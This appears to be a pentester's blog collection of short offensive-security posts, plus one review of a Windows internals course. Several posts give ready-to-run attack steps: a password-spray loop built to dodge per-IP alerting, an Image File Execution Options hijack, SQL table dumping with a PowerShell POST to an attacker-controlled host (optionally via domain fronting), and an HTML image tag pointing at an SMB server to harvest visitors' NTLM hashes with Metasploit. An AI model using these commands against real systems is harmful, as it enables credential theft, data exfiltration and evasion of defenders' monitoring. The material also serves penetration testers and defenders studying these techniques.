Simple DLL To Pop A CMD Shell

Below is some sample code to pop a cmd shell upon execution of the DLL. Pretty great for testing various code injection techniques. Compile it as a DLL project in Visual Studio to generate the .dll file.

Round Robin SMB Auth

Password sprays are very noisy internally. If the target has any sort of alerting in place, they'll see the spray light up their dashboard like a christmas tree. However, often times the alerts are only set up to count failed logins from a single IP. Spread out the auth and you may skirt around their detections:

Instead of throwing your auth attempts at one IP, throw them at many:

username_file=/root/users.txt
targets_file=/root/windows-hosts.txt
how_deep_to_go=2000

for index in $(seq 1 ${how_deep_to_go}); do
    username=$(sed -n ${index}p ${username_file})
    target=$(sed -n ${index}p ${targets_file})
    echo "smbclient -U mydomainhere/${username}%Welcome1 -L //${target}"
    smbclient -U mydomainhere/${username}%Welcome1 -L //${target}
done | tee smb-round-robin.out

Windows Override Command Execution (Image File Execution Options)

When you run a command at the windows cmd prompt, such as schtasks.exe, klist.exe, driverquery.exe, etc, Windows searches a registry setting for default options to execute the file. 

The location is:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nameOfEXE>

Oddly, Windows checks the same registry key regardless of where it actually found the exe or who is executing it. 

If you create a registry entry at the right spot with the "Debugger" string you can make it execute another program instead:

I feel like this could be handy in a situation where you can edit the registry but file integrity prevents you from modifying files on disk. You can kind of stitch execution together to somewhere you control.

Also found mention of the same registry entry here: https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-execution-options/

A Review Of Alex Ionescu's Windows Internals For Reverse Engineers

This year (2018) at Recon in Montreal I signed up to take a class from Alex Ionescu called "Windows Internals for Reverse Engineers", the following are my thoughts on the course and experience.

I decided to take this class after being completely demolished at Infiltrate's "Click Here for Ring Zero" course. That course, despite all its faults, told me I wasn't as strong in Windows Internals as I thought I was. I figured, taking the Windows Internals course from one of the guys that literally writes the book would be a good step. Boy, was I right.

I've taken a lot of training and had lots of bad teachers in the past. Some of those teachers were monotone, non-engaged, unable to map new information to existing concepts, unprepared course material, broken labs, etc. Alex and his course was none of these things. I'm going to break down my evaluation of the teacher and course separately since those are the two main components in all training. I'm going to end with any prerequisites, and final thoughts/recommendations.

Teacher - Alex Ionescu
After going through the training (and talking to several other people in the class) I can confidently say that Alex is at the top (or top 2) of my list in effective communication and teaching. Alex has struck a rare combination of technical mastery over a subject (Windows Internals) as well as the ability to map new information to other people's current understanding.

He exhibited many good teacher practices, below are some of the ones that stood out to me:

• He would give context for the target material by explaining "neighbor" material that was related. Making it easier to understand technical context and draw logical conclusions.
• He explained the history behind certain design choices in Windows to help eliminate the "Why the hell would they do it that way?" feeling.
• Extremely well prepared with the hand out material. 
• Extremely well prepared with presentation material. He had annotation software allowing him to draw data structures and quickly highlight information pertinent to his point. He also had a countdown timer for breaks/lunch so no one ever asked how much time we had left. He always showed up a minute or two before it expired and started on time.
• Was engaging with humor (poked fun at Microsoft devs several times) and not monotone at all.
• Almost never read from the slides, all the information was well understood and presented fluidly.

Course - Windows Internals for Reverse Engineers
The course and its materials were inextricably linked with the teacher so its difficult to speak to it in an independent fashion but here goes nothing.

Make no mistake, this course is not for beginners. It is a full blown firehose of information and topics for 4 days straight. He's pretty relentless and if it wasn't for the fact that he's a fantastic teacher, you'd be easily lost on day one. The course material is extremely technical, in depth, and just a whole lot of it too.

Some things you'll learn about:

• Setting up local and remote kernel debug machines
• Windbg syntax, functions, and capabilities
• OS design/decisions for memory and execution models, address space layout, shared data fields (KUSER_SHARED_DATA), functions and capabilities of the hypervisor
• Secure UEFI boot signing, hypervisor based code integrity, PatchGuard, HyperGuard, memory segmentation
• Software guard extensions on new CPUs, kernel/etc interrupts, system calls w/wo hypervisor enabled, win32k.sys
• Windows object manager, the object directory, kernel handle table, sandboxing

That's maybe 10% of the course right there. I just flipped through the handout and wrote down the slide titles and topics I could remember.

For a higher level explanation of the topics you'll cover, Recon's training site was fairly accurate, granted it doesn't give you a sense of the depth. It's deep, yo.

Prerequisites
On the course signup page he mentions the following in "Class Requirements":

IMPORTANT: It’s helpful to understand x86/x64/ARM assembly to take this course, but knowledge of obfuscation, packing, etc., is not required.

Basic knowledge of Windows, processor architecture, and operating systems is helpful – you should have some vague idea of what an interrupt is, and what is the difference between user and kernel mode (ring levels), a bit about virtual memory/paging, etc.

I would add a couple more to that list:

• Familiarity with C++ notation/syntax (he uses it a lot in windbg)
• An understanding of certain programming concepts such as common data structures, type casting, overloading, modules, macros, memory paging, kinds of linked lists, etc.

I personally recommend you give the latest Windows Internals book a read through before coming to this class. It will help tremendously in not being lost.

Areas of Improvement
I'm really reaching here since honestly if nothing changed about this course, it would still be towards the top of my list. I'd say the only thing I wish could change would be more hands on labs and perhaps some reference material in the back of the handout, things like common WinDBG commands, the C++ notation he uses, and other commonly referenced information. I'd also recommend maybe cutting out some pieces he feels aren't as necessary to distill the content a bit more. But like I said, I'm reaching pretty hard here. If you are ready for the course, take it. I extremely recommend it.

Recommendation
If you feel you are the point in your career where you need a better understanding of Windows Internals to be more effective, and you meet the prerequisites, I strongly recommend this course. While its marketed towards reverse engineers (which I am not) it does help the more senior pentester/red teamer who is looking to branch out into custom Windows malware.

If I could go back in time to my previous self trying to make the decision on whether or not to take this course, I'd tell him to definitely take it. But I'd also tell him to read more of the Windows Internals book before he started class :D

PS.
People pronounce windbg in many ways, "win-dee-bee-jee", "win-debug", etc. He pronounces it "wind-bag" which I find too weird for my tastes. I believe I've discovered the true sentiment and feeling of the tool by pronouncing it my own way: "win-deebag".

Exfiltrating SQL data from Windows

Let's say you get a winexe or wmiexec shell to a SQL server. Maybe you want to extract the top 10 rows of some juicy looking table. Maybe you need to exfil it to your HTTP server and are yolo'ing it. The following may help you:

Output the top 10 records of a SQL table using osql:

osql -E -Q "use DATABASEHERE; select top 10 * from ZOMGSEXYTABLE" -o C:\windows\temp\LOLDATA.txt

Post the file to a URL using powershell:

powershell -noprofile Invoke-RestMethod -Uri http://PUT.MY.IP.HERE -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"

Set up a an HTTP server to receive the file, or just ncat -l it.

Oh, want to use domain fronting? use this powershell line instead:

powershell -noprofile Invoke-RestMethod -Uri http://FRONTABLE.DOMAIN.HERE -Headers @{Host='MY.CLOUDFRONTDOMAINHERE'} -Method Post -InFile C:\windows\temp\LOLDATA.txt -ContentType "multipart/form-data"

Hackers and Programming Languages

  The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:

•  Bash - Using linux, I'd wager the most important language to be proficient in. 
•  Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
•   Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
•   C++ - Custom windows malware writing, gives you more direct access to the windows API
•   PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
•   Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
•   Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
•   C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
•   Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.

  Other programming like things:

•   Object Oriented Programming - Important for source code analysis and writing more powerful tools
•   Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
•   HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
•   XML - data storage, API data transfer format, SOAP, XXE injection
•   JSON - Other than XML, most often used API format
•   SQL - SQLi, intercepting SQL traffic

This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.

Testing for Microsoft Exchange Autodiscover Internal IP Disclosure

So it turns out that if you request your targets autodiscover xml file without specifying a host, it will put in its internal IP into the "Realm" response header. One important thing that people done seem to mention is that you need to request the xml file using HTTP 1.0 not the default of 1.1. Below is the curl line i tend to use to test for it:

curl -i -k https://targetip/autodiscover/autodiscover.xml -0 -H "Host:"
HTTP/1.1 401 Unauthorized
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-SOAP-Enabled: True
X-WSSecurity-Enabled: True
X-WSSecurity-For: None
X-AspNet-Version: 2.0.50727
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="192.168.50.30"
X-Powered-By: ASP.NET
Connection: close
Content-Length: 58

If you exclude the -0 (to use http 1.0) you will get a 400 bad request.
If your request includes something in the Host header, the server will place that in the Realm header instead of the internal IP.

Running commands through WinRM

I followed both http://blogs.technet.com/b/askperf/archive/2010/09/24/an-introduction-to-winrm-basics.aspx and https://github.com/WinRb/WinRM to get winrm up and working and running remote commands.

WinRM appears to be a soap based shell allowing users/admins to connect in and run commands or scripts or whatever. It's basically a remote administration/management tool. All the tests i performed was on a windows 7 box.

Something to note is that the http port it runs on is 5985, https is on 5986. Neither of these ports are in nmap's default port scan list (top 1000) so unless you are looking for it, you could miss it.

In nmap it shows up as:

Nmap scan report for 192.168.1.118
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So no super obvious signs that its WinRM listening on the port. I think the only thing you could really go off of is the actual port number and know that its a windows system.

Luckily someone created a ruby library that interacts with WinRM and allows you to connect to it and run commands.

When i first the github example, it was giving me auth issues so i had to run the following to get it to shut up and accept my creds:

winrm set winrm/config/client/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}

Once I ran that on the server, the library stopped giving me auth errors. I was able to run ipconfig on the remote system and it spat back the results.

so yay...

LM Hashing Policy - Changes to the same password

No password set for account:

  blah1(current):1019:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Password of 'Password1' when LM is allowed

  blah2(current):1021:e52cac67419a9a2238f10713b629b565:64f12cddaa88057e06a81b54e73b949b:::

Password of 'Password1' when LM is disabled

blah3(current):1020:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

Basically if LM is disabled then the machine will substitute a "blank" value for the LM field (aad3b435b51404eeaad3b435b51404ee) and then continue on normally with the NTLM portion.

If the password is larger than 14 characters, the LM portion will have the blank value (aad3b435b51404eeaad3b435b51404ee). This is regardless of whether or not LM is disabled.

LM hashing is enabled/disabled by the existence of a DWORD reg key 'NoLMHash' in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa that is set to '1'

Get list of AD Domain Controllers from DNS records

I used to be dumb and find it annoying to get the list of DCs that I would target in a pentest. Apparently its super easy to get them from DNS records.

nslookup -type=srv _ldap._tcp.dc._msdcs.COMPANY.com

replace COMPANY.com with whatever the actual domain is. If you are using the internal DNS servers, you can typically just do a "nslookup -r 1.2.3.4" to get the FQDN of the machine. That usually provides you with the "COMPANY.com" part.

Enjoy!



Other ways i've found that work:

If you have shell access:
netdom query /D:DOMAINNAME DC
net view /domain
nltest /dsgetdc:DOMAINNAME

Windows Network Service Internals - IPC/RPC

http://www.hsc.fr/ressources/articles/win_net_srv/index.html


Here are the core MSRPC functions/capabilities. It includes things like interacting with the SAM, the registry, the event log, the service control manager and much more:

http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_core.html

NT_STATUS Codes

Lots of times when i'm on a pentest the status messages i get from trying to auth to an smb server with certain creds are the same. But sometimes i lolwtf? at them. Thats where this handy little page comes in....handy

http://www.stbsuite.com/support/virtual-training-center/nt-status-errors

Capturing SMB hashes over the internet

I like leaving this enabled on my VPS just for fun sometimes. You can capture people's SMB hashes remotely using a UNC path to reference resources. So when your browser loads my page, it sees the resource that it thinks exists on some SMB server somewhere, and IE will automatically throw its credentials at it. IE does this for a "seamless user experience". Well, luckily that means for us a "seamless user pwn".
So on your VPS, modify index.html at the root of your web server to include this:

<img src="\\72.14.182.123\cats.gif" />

and then run as root:
msfcli auxiliary/server/capture/smb JOHNPWFILE='/root/testsmbcapturefile' E

Generate NTLM hashes via command line

Turns out the NTLM hashing algo is super simple. It just takes the string you give it, converts it to UTF-16LE and then outputs the md4 of that. You can generate your own fairly simply at the command line:

iconv -f ASCII -t UTF-16LE <(printf "lolwut") | openssl dgst -md4

What this does is use a fairly popular unix utility "iconv". -f is the "from" encoding, which is this case is just simple ASCII and sets to "to" encoding using -t. It reads in the string using printf and pipes that to openssl for the digest. the result is the NT hash of the string (or password if you want to look at it like that) "lolwut"

$iconv -f ASCII -t UTF-16LE <(printf "lolwut") | openssl dgst -md4
dcc1ed89d1d080ef47dccf3e59a50d45

create a function and place it in .bashrc:

ntlm_hash () {
iconv -f ASCII -t UTF-16LE <(printf "$1") | openssl dgst -md4
}

now just type "ntlm_hash lolwut" to get the same result.

Empty/null hashump (LM/NTLM)

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

is the LM/NTLM hash pair for blank passwords. You can create this pair by running

"net user kittens /add"

and it will result in:

"kittens:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::"

This is an easy way to tell if the hash you have is actually a password or not.